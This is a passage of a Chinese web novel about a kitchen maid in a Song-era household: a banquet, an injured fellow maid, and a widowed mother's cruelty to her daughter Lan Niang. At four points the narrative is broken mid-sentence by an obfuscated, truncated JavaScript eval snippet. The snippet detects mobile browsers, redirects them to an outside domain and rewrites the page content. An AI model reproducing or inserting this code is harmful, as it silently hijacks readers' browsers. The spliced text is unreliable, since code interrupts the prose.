今日的重头戏，自然是那桌宴席。鲍娘子早已换上洁净的围裙，挽高了袖子，眼神锐利，指挥若定。陈老娘只点了两道主菜：羊头签、蟹酿橙，余下的便交由鲍娘子“看着办”。话虽如此，鲍娘子岂敢怠慢？使出浑身解数，整治出一桌地道的汴京风味，只求在主家和贵客面前挣下脸面。 胡姣一面手脚麻利地听从张婆子指派，添柴、递水、挪腾空盆，一面忍不住用眼角余光扫视那渐渐丰盈起来的席面。 冷盘是剔透如冰的水晶脍（肉冻），薄如蝉翼的沙鱼脍（生鱼片）；热菜有油光红亮的群仙炙（烤肉拼盘）、香气四溢的炙金肠（烤肥肠）；汤羹是细滑的缕丝羹（豆腐羹）、鲜美的鹌子羹（鹌鹑羹）；主食点心是精巧的太平毕罗（类似杂菜煎饼）、素雅的煿金煮玉（杂粮大拼盘）。更有金橘、蜜柑、新橙、水梨等时鲜果子，错落有致地摆放在造型精致的碟子里。 这琳琅满目，色香俱全的阵仗，无声地诉说着陈府的富贵，看得胡姣暗自咋舌。 然而，最引人注目的，还是那两道陈老娘钦点的“硬菜”。 做羊头签的案板旁，已放上一只蒸得熟透、犹带热气的硕大羊头。一个手脚麻利的婆子，小心翼翼执着一柄薄如柳叶的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127963|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小刀，屏息凝神，只在那羊脸颊最丰腴处，细细剜下十数片比铜钱略大、嫩滑无比的“活肉”。那肉色粉白，纹理细腻，被珍而重之地放在雪白的瓷盘里。旁边早有帮厨的丫头，将薄得几近透明的猪网油用温水泡软，沥干。 只见鲍娘子亲自上手，取少许那珍贵的羊脸肉丝，拌入秘制的腌料，再用筷子尖挑起一点，轻轻放在网油上，手腕灵巧地一卷、一裹，便形成一支手指长短、玲珑剔透的“签”状。这签子排入蒸笼稍蒸定型，最后还需下油锅炸至金黄酥脆。其用料之奢靡，工序之繁复，令胡姣瞠目结舌——几十斤重的活羊头，精华竟只凝聚成这寥寥十数支签子！ 另一边的蟹酿橙，更是慢工细活。几个婆子围坐一盆，盆里是数十只青壳白肚、张牙舞爪的鲜活大蟹，每只都有鸭梨大小。婆子们熟练地刷洗，上笼蒸熟，待蟹壳转红，热气散去，便开始了更精细的活计——拆蟹。小银锤、小银钳、小银签，工具齐备。婆子们指尖翻飞，一丝不苟地挑出蟹壳里金黄油亮的蟹膏、雪白细嫩的蟹肉，动作轻巧灵活，不知道的还以为在绣花呢。 旁边另有人专门拾掇那些饱满浑圆的新橙，用特制的小勺，一点点挖尽橙瓤，只留下一个完整的、内壁光滑的橙盅。拆好的蟹肉蟹膏，用姜丝、上好香醋、少许细盐并那挖出的橙汁橙肉精心调和，再被小心翼翼地酿回橙盅内。将这填满蟹肉的橙盅重新入笼蒸制，让橙皮的清香与蟹肉的鲜甜彻底交融。 最后上桌时，旁边还要配上一小碟澄澈温热的调制黄酒，供贵客搭配食用。光是看那些婆子们拆蟹时全神贯注的神态，便知这一道菜的金贵与功夫。 灶火熊熊，油烟氤氲，大厨房里弥漫着各种食材交织的奇异香气。胡姣穿梭在热气与油烟间，额角渗出细汗，她手脚不停，却眼明心静，暗自将那一道道佳肴的做法步骤一一记下。正忙得脚不沾地，忽听前院传来一阵急促的脚步声，接着是内院小丫头清脆的传话声： “鲍娘子！鲍娘子！张老娘子已经到了，此刻在致爽斋跟老太太、王娘子说话呢。老太太吩咐了，席面快着些备，只怕不到午时就要传饭了！” 此言一出，如同在滚油锅里又泼进一瓢冷水。鲍娘子眉头一拧，手下动作更快，声音也拔高了几分：“都听见了？手脚再麻利些，烧火的几个丫头看好了火候！误了开席的时辰，老太太怪罪下来可没人替你们担着！” 鲍娘子的话让灶下众人心头都是一紧。三个烧火丫头更是屏住了气，各自守着自己的灶口，添柴拨火，不敢怠慢。胡姣盯着灶膛里跳跃的火苗，额角的汗直往下淌，也顾不上去擦。 正专心拨弄着柴火，旁边灶头传来一声闷哼。胡姣扭头，只见喜姐儿佝偻着背，一手死死按在小腹上，脸色煞白，豆大的汗珠正一颗颗从她额角滚下来。 5. 第 5 章 胡姣心道不好，趁着鲍娘子背对着她们，飞快地压低声音问：“喜姐姐，你是不是哪里不爽利？” 喜姐儿偷瞄了下鲍娘子的背影，才从牙缝里挤出话：“昨儿回去晚了，撞上我爹喝多了黄汤发疯，被踹了一脚。” 喜姐儿是外头买来的，家就在陈府旁边，故而她每日下了工都回去住。只是她娘死的早，爹又娶了一个。这后娘才来的时候倒待她还好，可自从生了弟弟就越发不待见她了。他爹也不晓事，每每听信后娘挑拨，对着她不是打就是骂，就连她的月钱都要全部拿走，连一个子儿都不留给她。 这不，虽然开了春，可天气依旧冷得不行，大厨房的几个小丫头哪个不是裹着一身厚袄子，就她一个穿着夹棉的外衫，冻得像个鹌鹑。 这些话都是翠姐儿和她说的，她是个话痨，又爱八卦，府里上上下下没有她不知道的事儿。 胡姣看着喜姐儿疼得身子都在抖，心里也跟着发沉。可眼下这节骨眼，鲍娘子绷紧了弦预备开席，哪里容得了出岔子？ 她纵然有心替喜姐儿分担些活计，只怕刚开口，就会招来鲍娘子一顿劈头盖脸的责骂，斥责喜姐儿骨头轻、装病躲懒。这两日她也看出来了，这些管事娘子向来只认结果，不问缘由。 且她刚来大厨房，也不好太掐头冒尖儿，做好人可以，烂好人就算了。 不过，等今日空了的时候，倒是可以拿些自家的药酒给她。这药酒是她爹胡舫带回来的，他常年在外奔波，难免有磕着碰着的时候，所以家里常备着。虽不知对这内里的伤痛是否顶用，也算是她的一番心意。 忙忙碌碌间，日头渐渐攀高。厨房里热气蒸腾，各色菜肴的香气混合着油烟，浓得化不开。终于，外面再次传来脚步声，一个穿绿比甲的小丫头脆生生地立在门口通传：“鲍娘子，老太太传饭了，快上菜吧！” 这一声令下，厨房里众人立刻绷紧了弦，因为所有菜都得立刻、稳当地送过去。 陈老娘院里的几个丫鬟早已人手一个朱漆描金的食盒候在门外。不过，因今日摆席，大房、二房、三房的女眷并哥儿姐儿们都在一处用饭，陈老娘那边的人手便有些不够用，所以又让张婆子看着安排两个机灵的丫头帮着捧菜。 张婆子原本想点翠姐儿和喜姐儿这两个熟手去，可眼光一扫到喜姐儿——面色惨白如纸，额上冷汗涔涔，整个人佝偻着几乎缩成一团，莫说捧菜了，怕是端个空碗都要打晃。暗道：这幅样子便是去了怕也当不好差事，更丢了大厨房和她张妈妈的脸。不由得眉头一皱，目光在灶下逡巡一圈，最终落在了姿态恭谨的胡姣身上。 这丫头昨天才来，但眼里有活，手脚也利索，看着还算稳当。张婆子略一想，抬手指点：“椒姐儿，翠姐儿，你们两个，跟着老太太院里的姐姐去捧菜！眼睛亮些，手脚稳当些，若出了差错，别怪妈妈我不留情面！” 胡姣和翠姐儿赶紧应了声“是”。两人都是头一回进内院当差，心里七上八下。翠姐儿放下火钳，使劲在围裙上擦了擦手。胡姣也吸了口气，定了定神，学着翠姐儿，把衣襟扯平了些。 沉甸甸的食盒递到手上，分量压得两人胳膊一沉。却不敢抬头乱看，只垂着眼，盯着前面引路的丫鬟，一步一跟。出了大厨房的小门，便是通往内院的回廊。 廊外是薄雪覆盖的院子，几株老梅正开的旺盛，偶然有几只鸟雀发出鸣叫声，此外便是长久的寂静。 这不同于大厨房的氛围，让胡姣和翠姐儿越发不敢出声，眼观鼻，鼻观心，一步不多走，一句不多言，只牢牢捧着手里沉甸甸的食盒。 穿过回廊，眼前豁然开朗。但见一座轩敞厅堂，飞檐斗拱，上书“致爽斋”三个大字。早有穿红着绿的丫鬟打起猩猩毡门帘，霎时间一股暖融融的脂粉香、果子香并炭火气扑面而来。 胡姣垂首敛目，跟在引路丫鬟身后，踏入厅内。甫一进门，便听得一阵极爽利的笑声。抬眼偷觑，但见厅中主位坐着两位鬓发斑白的老太太，一位是陈府的老孺人陈老娘，另一位想必就是王娘子的舅母张老娘子。下首陪坐的，是各房的娘子、姨娘。 那笑声正是来自三房李娘子。只见她不过二十出头年纪，身穿一件簇新的玫瑰紫遍地金通袖袄，下系鹅黄色织锦镶花绫裙，满头珠翠，一张鹅蛋脸儿粉光脂艳，眉眼含春。此刻正拍着手，不知说了句什么趣话，直把两位老太太逗得前仰后合，笑得眼泪都出来了。张老娘子更是拉着她的手，直道：“我的儿，你这张嘴哟！真真是笑死人不偿命！” 再看那大房王娘子，一身半旧的藕荷色袄裙，端坐一旁，脸上虽也挂着笑，却是寡淡无味，尤其是在妯娌李娘子的映衬下，更像是根木头杵在那里。 二房的梅娘子，身穿月白色提花暗纹缎袄，外罩一件银鼠灰的比甲，通身素雅，只腕上一对水头极好的玉镯显出她当家娘子的身份。她面上带着得体的浅笑，手里捧着个官窑白瓷盖碗，慢慢拨弄着茶沫，并不接李娘子的话茬。 厅角花梨木嵌螺钿的罗汉榻上，几个哥儿姐儿正围着玩双陆。二房的蓁娘、英娘并晖哥儿笑语晏晏，落子清脆。大房的兰娘，却是穿着一身半旧的杏黄袄子，独自坐在一旁，眼神也有些怯怯的，偶尔抬眼望向主位那边，也是飞快地垂下。 陈老娘笑罢了，指着李娘子对张老娘子道：“老姐姐快莫夸她。这老三家的是个猢狲，也被我惯得越发没个样子，疯疯癫癫，不成体统。老姐姐莫要笑话才好。” 这话听着似嗔怪，可那语气里透着的宠溺，却是掩也掩不住。要知道李娘子虽然是李县丞之女，但嫁的是庶子，并非陈老娘嫡亲的媳妇，能得此评价，足见其平日得宠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127964|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张老娘子何等世故，立刻笑着接口：“老姐姐这话可折煞我了！三娘子这般年纪，花儿似的，我哪里舍得。再说，娘儿们一处说说笑笑，图的就是个开心自在。我家里那几个小的，也从不拘着她们。规矩是死的，人是活的，太板正了反倒没趣儿。” 这话说得圆融，既捧了陈老娘，又抬了李娘子。只是不知道她嫡亲的外甥女王娘子听见了心里又是个什么滋味。 这李娘子一听，越发得了意，扭股糖似的蹭到张老娘子身边，挽着她的胳膊撒娇：“张舅母（她跟着王娘子叫）既这般疼我，不如索性收了我做个干女儿罢！我定比那亲生的还贴心孝顺。”那娇憨之态，又引得众人一阵哄笑。 正说笑间，陈老娘身边的大丫鬟惠姑进来了，对着陈老娘和张老娘子福了一福，恭声道：“老太太，张老娘子，席面已备妥，请入席吧。” 李娘子闻言，忙不迭地亲自搀扶起张老娘子，亲亲热热地道：“舅母慢些，我扶着您！”又招呼众人，“老太太也请！嫂子们快请！”那热络劲儿，倒似她才是今日的主家。 众人这才移步到隔壁花厅。花厅中央一张檀香木嵌大理石的八仙桌早已摆开，铺着大红色的桌围。一道道珍馐美馔早已摆上桌面。羊头签的焦香、蟹酿橙的清甜、群仙炙的浓烈、缕丝羹的滑润……各种香气交织，令人食指大动。 陈家虽是新贵，但并无那等“食不言，寝不语”的刻板规矩。众人依着辈分尊卑落了座，陈老娘陪着张老娘子坐了上首，王娘子、梅娘子、李娘子并姜小娘依次相陪，几个哥儿姐儿则另设一小桌。 席间杯箸交错，笑语喧阗，依旧热闹非凡。李娘子嘴最巧，一会儿给张老娘子布菜，赞这蟹酿橙鲜甜“舅母该多用些”，一会儿又夸那羊头签炸得酥脆“最合老太太口味”，直哄得两位老太太眉开眼笑。 胡姣、翠姐儿等几个捧菜的小丫头，此刻便暂时没了差事，被安排在花厅角落里待着，总算是可以松一口气，但是也不能随意走动，以备主子们的不时之需。 突然，厅内的暖香笑语被一个突如其来的小插曲打断了一瞬。 原来是吃完饭，正在玩耍的几个孩子起了争执。其中，晖哥儿被英娘猛地一推，身子踉跄着向后倒去，不偏不倚撞在了正默默站在一旁、努力降低存在感的兰娘身上。 兰娘猝不及防，惊呼一声，整个人向后跌坐在地，额角“咚”地一声轻磕在摆放着果碟的小几边缘。 “哎呀！” “哥儿！” “姐儿！” 惊呼声四起。离得最近的几个丫鬟，如同被惊起的雀鸟，呼啦一下全围了上去。 两个手脚麻利的，一个赶紧扶起被吓懵了的晖哥儿，连声哄着“哥儿没事吧？”，另一个则半蹲下去，扶住同样吓白了脸的英娘，低声安抚着。 6. 第 6 章 更有婆子立刻上前，小心地查看晖哥儿是否被撞疼了哪里，又怕英娘被吓着。 一时间，小桌旁闹哄哄的，所有的关注和紧张都给了晖哥儿和英娘——一个是二房唯一的嫡子，金贵无比；一个是也二房嫡出的姑娘，掌上明珠。至于那跌倒在地，捂着额角，疼得眼泪在眼眶里打转的兰娘，竟被无意间遗忘在了角落。 胡姣站在花厅一角的阴影里，将这一幕看得清清楚楚。 兰娘独自挣扎着从冰冷的地砖上坐起来，手撑着地面，肩膀微微颤抖，额角更是被磕红了一小块。 她的贴身大丫鬟绣橘方才被遣回去取她的大氅，此刻并不在身边。而周遭的喧嚣与关切，没有一丝是向着她的。 胡姣的心像是被什么东西狠狠揪了一下。一种强烈的情感冲破了身份的藩篱。她几乎是下意识地，趁着混乱和无人注意，快步上前，蹲下身去。 “大姑娘，您没事吧？”胡姣的声音沉稳关切，伸出手，轻轻扶住兰娘的手臂，帮着她站稳。 兰娘愣神片刻，泪眼朦胧地抬起头，看到是一个穿着粗布袄裙、额角还有淡淡疤痕的小丫头。 “没……没事……”兰娘的声音细若蚊蚋，带着哽咽。 胡姣眼尖，看到一方素白的丝帕掉落在兰娘脚边，应该正是她方才跌坐时脱手的。她迅速捡起来，轻轻拂去上面沾的灰尘，双手捧着递还给兰娘：“姑娘的手帕。” 兰娘接过帕子，指尖冰凉。她看向胡姣，眼中带着一丝感激。 “谢谢你。”兰娘的声音更轻了，“你……你叫什么名字？在哪儿当差？” 胡姣垂着眼，恭敬但清晰地回答：“回姑娘的话，奴婢姓胡，叫椒姐儿，如今在大厨房里烧火。” “椒姐儿……”兰娘默默记下这个名字，又看了看她，似乎想说什么，最终还是低声道，“我住在芳汀阁……以后，以后若有机会，请你来我那里说说话……” 这话从一个小姐口中对一个烧火丫头说出，其实是不合适的，但胡姣猜想这可能是兰娘在向她释放善意的信号，于是低低应了声：“是，姑娘。” 这时，大人们的注意力终于被吸引了过来。 “怎么回事？闹哄哄的成何体统！”梅娘子眉头微蹙，声音不高却带着当家主母的威严。 立刻有机灵的丫鬟上前，三言两语将晖哥儿和英娘争执推搡、误撞了兰娘的经过禀报清楚。 梅娘子的目光迅速扫过被围在中间、显然并无大碍的晖哥儿和英娘，最终落在了孤零零站在一旁，捂着额角、眼圈微红的兰娘身上。眼中闪过一丝了然和怜惜。 “晖哥儿！英娘！”梅娘子声音沉了下来，“你们两个，兄弟姐妹们一处玩，怎的如此不知轻重？争执起来便没了分寸，还牵连了你大姐姐！还不快向你大姐姐赔个不是！” 晖哥儿被母亲严肃的语气吓住，瘪了瘪嘴，有些不情愿地嘟囔了一声“大姐姐对不起”。英娘也怯怯地跟着说了一句。 梅娘子这才缓了脸色，亲自起身走到兰娘身边，拉过她冰凉的小手，温言道：“好孩子，受委屈了。都是弟弟妹妹不好，婶娘代他们给你赔个不是。”又仔细看了看兰娘额角那点红印子，柔声道，“可碰疼了？待会儿让丫头给你拿冷帕子敷敷。” 接着，又上下打量了一下兰娘身上那件半旧的杏黄袄子，眉头几不可察地蹙了一下，随即展颜笑道：“瞧你这身衣裳，也太素净了些，你这个年岁的女孩儿正是打扮的年纪呢。等会儿散了席，到我屋里来，婶娘那儿有几件新打的首饰，你挑几样喜欢的戴着玩去。” 这番维护和安慰，让兰娘受宠若惊，小脸涨红，一时不知该如何作答。 然而，一直沉默冷眼旁观的王娘子，此刻却眉头紧紧拧起，脸上毫不掩饰地掠过一丝厌烦。 “二弟妹这话说的，孩子们一处顽闹，磕了碰了本就是常事，有什么委屈不委屈的？兰娘是长姐，本就该让着弟弟妹妹些。 方才晖哥儿和英娘争执，她不晓得拉着些劝着些，反倒呆愣愣地站在那儿，一点机灵劲儿也无！ 至于首饰，也很不必，她长得不如两个妹妹好，即便好东西给了她，也是白白糟蹋了，还是给蓁娘和英娘留着吧。” 这一番话，尖刻又无情，像一盆冰水兜头浇下。兰娘刚刚因梅娘子关怀而升起的一点点暖意瞬间被冻结，脸色变得比纸还白，头深深地垂了下去，肩膀抑制不住地微微发抖。她甚至不敢去看母亲的眼睛。 厅内气氛顿时僵冷下来。连一直说笑的李娘子也识趣地闭上了嘴，只拿一双妙目在王娘子和梅娘子之间来回逡巡，嘴角噙着一丝看好戏的玩味笑意。 梅娘子脸上的温煦瞬间褪去，眼中闪过一丝薄怒，但很快被她压下。她将兰娘往自己身边又拉近了些，手臂揽住小姑娘单薄的肩膀，语气依旧温和却不容置疑：“大嫂这话可差了。孩子们都是一样的，兰娘也比晖哥儿英娘大不了几岁。况且没有谁天生就该让着谁的道理。今儿这事，本就是晖哥儿英娘莽撞在先。兰娘这孩子安静懂事，我看着就很好。” 接着，她低头对兰娘柔声道，“别听你阿娘胡说。婶娘疼你和疼她们几个是一样的。待会儿散了席，就随婶娘去挑。” 梅娘子这番姿态，既维护了兰娘，也明确地表达了对王娘子苛责亲女的不满，同时也在众人面前宣示了她作为当家主母对府中所有小辈的公正与慈爱。 王娘子被妯娌这番软中带硬的话堵得胸口发闷，脸色更加难看，嘴唇动了动，终究没再说什么，只冷哼一声，扭过头去。 张老娘子将这一切尽收眼底，心中早已是翻江倒海。她看着自家外甥女王娘子那副刻薄寡情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127965|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，对着亲生女儿如同仇寇的模样，再看看兰娘那副可怜见儿的样子，只觉得悲从中来。她这个外甥女，自打守了寡，性子是越发左了，甚至可以说是魔怔了！ 自己当初做媒，只道陈家是殷实人家，陈敏那孩子前程似锦，看着也忠厚，王家自也是县里有头有脸的人家，两家结亲是锦上添花。谁能料到敏大爷那般短命，更想不到这王娘子竟会变成如今这般模样，真真是作孽！ 席间气氛尴尬，众人食不知味，又勉强坐了片刻，张老娘子便起身告辞。 陈老娘亲自将老姐妹送到二门外。寒风凛冽，吹得灯笼摇晃。临上轿前，张老娘子终于忍不住，拉着陈老娘的手，老眼中满是忧虑和痛心：“老姐姐，别怪我多句嘴。你瞧见今日席上那光景了么？我那外甥女她……她如今对着兰丫头，那哪里是亲娘？简直是前世里的冤孽！我是真怕……真怕她魔怔了心窍，做出什么糊涂事来，耽误了兰丫头一辈子啊！唉，当初，当初我做的这场大媒，真是……真是……”她语带哽咽，说不下去了。 陈老娘也是满心苦涩，拍着张老娘子的手背，长长叹了口气：“老姐姐，你的心，我懂。兰丫头……命苦啊！敏儿去得早，她娘又……唉！” 她浑浊的老眼中也泛起了泪光，语气中却带着一种下定决心的坚定：“你放心！只要我这把老骨头还在一天，将来兰丫头的亲事，就由不得她娘一个人说了算！我必得替我那苦命的敏儿，给这唯一的骨血寻个好归宿。这，也算是我对得住我那早走的孩儿了！” 两位两鬓斑白的老妪在寒风中相对唏嘘，都从对方眼中看到了深深的无奈和对那个孤苦女孩的担忧。 送走了张老娘子，陈府内宅似乎又恢复了表面的平静。 宴席散了，大厨房里，众人虽累得筋骨酸软，脸上却都带了几分喜色。倒不为别的，今日这席面办得顺当，老太太高兴，梅娘子做主，上上下下都得了赏钱。便是胡姣这等新来的烧火丫头，也得了五个簇新的铜子儿，攥在手心，沉甸甸的。且胡姣和翠姐儿又因为去内院捧了菜，竟又比寻常的丫头、婆子还多得了两枚。 胡姣心头暗喜，这可是她穿来此地头一遭凭自个儿挣的“体己”，虽然少得可怜，和鲍娘子等管事更是没法比，但对她而言却是十分珍贵。 有人欢喜有人愁，目光无意间扫过一旁的喜姐儿。但见喜姐儿也领了赏钱，面上却没有多少喜色。垂着头，眼神飘忽，除了身子因腹中疼痛而微微蜷缩，更添了几分落寞与不自在。 胡姣心头一顿，她岂能不知，今日能去内院捧菜露脸，得了这额外的赏钱，实是占了喜姐儿生病的便宜。虽说多半是管事的张婆子怕喜姐儿病怏怏的当不好差事，反丢了脸面，才点中了自己，可落在喜姐儿眼里，难免不是滋味——本是她的差事，她的赏钱，却因伤病便宜了旁人。 7. 第 7 章 胡姣不愿意为此得罪了喜姐儿，毕竟阎王好过、小鬼难缠，自己又与她同在灶下当差，关系闹僵了没有好处。于是，手脚愈发勤快起来。添柴拨火、挪盆递水，专拣那重活累活，悄没声儿地便替喜姐儿做了大半。 喜姐儿也不是傻子，很快便明白过来，自己倒有些不好意思。于是也强撑着，与胡姣一处做些轻省活计。 到了未时，大厨房里都收拾停当了，无事可做，丫头、婆子们便三三两两靠着说闲话。 翠姐儿抬手捅了捅胡姣，问道：“你今儿怎么倒和兰姑娘说上话了？” 胡姣便只道是靠得近，顺手扶了一把。 翠姐儿撇撇嘴：“我劝你还是别和大房的人走的太近，王娘子可不是个好相与的，别看你今天帮了大姑娘，可若是她知道了不一定有你好果子吃呢！” 胡姣笑笑，假装听不懂她在说什么。职场大忌，莫要和同事说领导坏话。 翠姐儿见她不搭话，也不在意，继续说道：“王娘子也是奇怪，对着亲生的女儿倒像是仇人一样，今儿那场面你瞧见没，把个兰姑娘说的眼泪汪汪的，一点面子也不留。还是咱们梅娘子仁厚，倒比兰姑娘亲娘待她还好些。不过嘛，王娘子被当众下了脸，估计还是要寻兰姑娘的晦气的。” 翠姐儿不愧是陈府第一狗仔，不仅消息灵通，还料事如神。被妯娌下了脸的王娘子，此刻正让兰娘的奶娘史妈妈唤她去自己院里听训。 “姐儿，大娘子让你去一下碧桐轩。” 听到奶娘的声音，兰娘忍不住身子一颤。 “妈妈可知娘子有何事？姑娘刚伤着了头，现下想歪会儿呢，若是不着急，能不能烦请您老人家回一下，明儿再去？” 绣橘见兰娘这样，忙好声好气地问史妈妈。 “大娘子的心思我一个做奴婢的哪里能晓得？我劝姐儿还是早些去吧，不然……” 史妈妈皮笑肉不笑地说了句，那未尽之意显而易见。 她是王娘子的心腹陪房，陈大郎死了之后，王娘子便怎么也不愿见这个女儿，总觉得是她克死了自己父亲，兰娘的一应事情都交给了史妈妈打理。按说这史妈妈是兰娘的奶娘，又是从小看着她到大的，也该有些眷顾，可她却学足了王娘子的做派，对着兰娘拿大不说，还时常告她的黑状，主仆简直是沆瀣一气，把个兰娘磋磨得不成人样。 就拿昨儿早上来说吧，兰娘为何胃口不好，不曾多用早食？便是这史妈妈仗着王娘子宠信，又来她院里吆五喝六，还打了一个小丫头。兰娘虽脾气好，可面对自己的丫鬟被打，不免多说了她几句。谁知这个老货倒恶人先告状，说她的血变得奶，养得姐儿这么大，如今倒为个小丫头说她，她还有什么脸面在这院里，不如还是回了王娘子她仍旧回王家去吧。 这一番话直把个兰娘气得心头不顺，故而早食一口都没用。还是绣橘看不下去，怕她饿的狠了，才去大厨房要些她素日爱吃的，可谁曾想却又被碰了个软钉子。兰娘倒还安慰她，说不拘吃什么，只要能填饱肚子就行。 绣橘暗自垂泪，感叹自家姑娘身世可怜，有娘倒似无娘，甚至连个体面的仆妇都不如。梅娘子倒是体恤，可又不好插手隔房侄女的教养，便是吩咐了一应吃穿用度和二房小主子一样，也架不住下面的奴才看人下菜、偷工减料。姑娘自己也不愿总是去打扰梅娘子，大多时候都是忍着。 “妈妈稍坐，我换身衣裳就去。”兰娘不愿旁人再为了自己吃挂落，便强忍着不适起身，去里间换了一件更素净的衣裙——王娘子不喜欢她打扮得鲜艳，今儿找她去明摆着是要折腾她的，若是再穿红着绿的，更被她寻着由头了。 到了碧桐轩，王娘子正喝茶，身边一个小丫头半跪着给她揉腿。见是兰娘来了，眼都不抬，让她足足立在堂下半盏茶的功夫，才道：“知道今儿喊你来干什么吗？” “不知道，还请母亲示下。”兰娘语气恭顺。 “哼！”王娘子搁下茶盏，声音冷淡，“示下？我哪敢对你示下啊？你如今可是了不得了，巴上了二房，我这个做母亲的可管不得你了！” 别看王娘子平日里自己和二房走得近，对着几个哥儿、姐儿亲热的很，可骨子里还是和妯娌梅娘子不对付。 原因无他，一是梅娘子出身比她好，父亲是汴京高官梅翰林，她爹却只是个富商，说得尊重些叫声员外。这桩婚事是舅母张老娘子保媒才促成的，那时陈家尚未显贵，只有陈老爹一个捐官，而王家却是豪富，所以倒也堪配。只是陈二郎一朝登龙门，成了官身，又得座师梅翰林看中，将三女下嫁与他，新妯娌进门，王娘子的身份便有些不够看了。 二是梅娘子与陈二郎夫妻恩爱，儿女双全，可她却年纪轻轻就孀居守寡，还没个顶门立户的儿子。她倒是想一死了之，或者干脆出家当姑子去，可娘家又要借着二房的势，不肯她胡来。所谓二房的势，还不是梅家的势？这不就让她又低梅娘子一头吗？于是，她在这府里苦熬着，性情都变了，尤其讨厌别人拿她和梅娘子作对比，如今她自己的女儿更愿意亲近隔房的婶娘而不是亲娘，更是让她觉得在当众打自己的脸。 “女儿不敢，母亲但有什么教诲，女儿遵命就是。”兰娘知道王娘子这是又膈应上了，每次她和婶娘不对付，总要拿自己撒气，于是语气越发恭敬。 “我不敢教诲你。你是官家小姐，我不过一个小门小户出来的，如今又成了寡妇，被你祖母、婶娘们知道了，岂不是又要怪我作怪。” 她说这话时，嘴角一侧勾起，眉眼微挑，配上她那副素净的打扮，倒是显出十分的刻薄。 “只是，有些话我也不得不讨嫌嘱咐你。你如今大了，也有主见，可终究还是我们大房的姑娘，你叔叔官做的再大，婶子娘家再富贵，那也是人家二房的，和你没有什么干系，做人还是莫要忘本的好。 也别打量着以后攀上二房，能找个好人家，从此离了我，你的终身大事还是要我这个做母亲的点了头才算。” 王娘子一向脾气不好，此刻碧桐轩众人见她如此， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127966|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不敢出一言，生怕惹恼了她。 这也难怪。作为王员外的嫡幼女，王娘子从小也是千娇万宠长大的，自然性子娇蛮。自从嫁了来陈家，夫妻和顺，陈大郎又爱重她，什么事都让她一头，更是让她脾气越养越大。 可谁曾想陈大郎如此短寿，夫妻恩爱不过数载就撒手人寰，留下她在这府里，如同孤魂野鬼。再加上妯娌梅娘子又娴静温柔，出身高贵，越发把她比到了泥里。 她嫁过来时婆婆陈老娘不曾交出中馈，待梅娘子一入门便主动上交，这又是什么意思？凡此种种，简直让她寝食难安，脾气也越发古怪。 其实，兰娘未出世时她倒还不至于如此。只是那年上香遇见个游方和尚，见了她便一阵嗟叹。她不解其意，上前询问，对方却始终不答，最终才告诉她，原本她夫妻和顺，应有二子一女，将来还会受封诰命，如今不知为何却命格大变，不但丈夫早逝，就连子女宫也发生逆转。 王娘子心头大震，忙问为何会如此。那和尚却不再言语，飘然而去。 自此以后，王娘子时常想着这件事，越发觉得陈大郎和自己是受到女儿兰娘所累，她就是个煞星，不但克死了自己的父亲，也克死了自己未出世的兄弟。 于是越发不待见兰娘，甚至到了看见她就忍不住要打骂的地步，最终还是陈老娘出面，让她拨个人专门伺候兰娘，以后母女少见面就是。 随着兰娘日渐长成，冰雪可爱，善解人意，王娘子也疑心是不是当年的和尚算错了，可即便如此，心头对兰娘却依旧不喜。 就比如此刻，她虽然语气稍微缓和了点，却依旧没有任何体恤：“等会儿我让史妈妈给你带些字帖回去，往后你的功课还要再多一些。母亲也是为你好，你长得没有二房的两个姐儿出挑，只能在德行才能上多下功夫了。” 兰娘还能说什么呢，只得低头称是。 话分两头，再看大厨房这边。胡姣趁着大伙儿都在闲聊消磨时间，借口尿遁回了自家。刘氏还问她为什么这个点儿回来了，她只道是灶上一个相熟的小姐妹扭伤了腰，想起家里还有些跌打药酒，所以回来拿些。 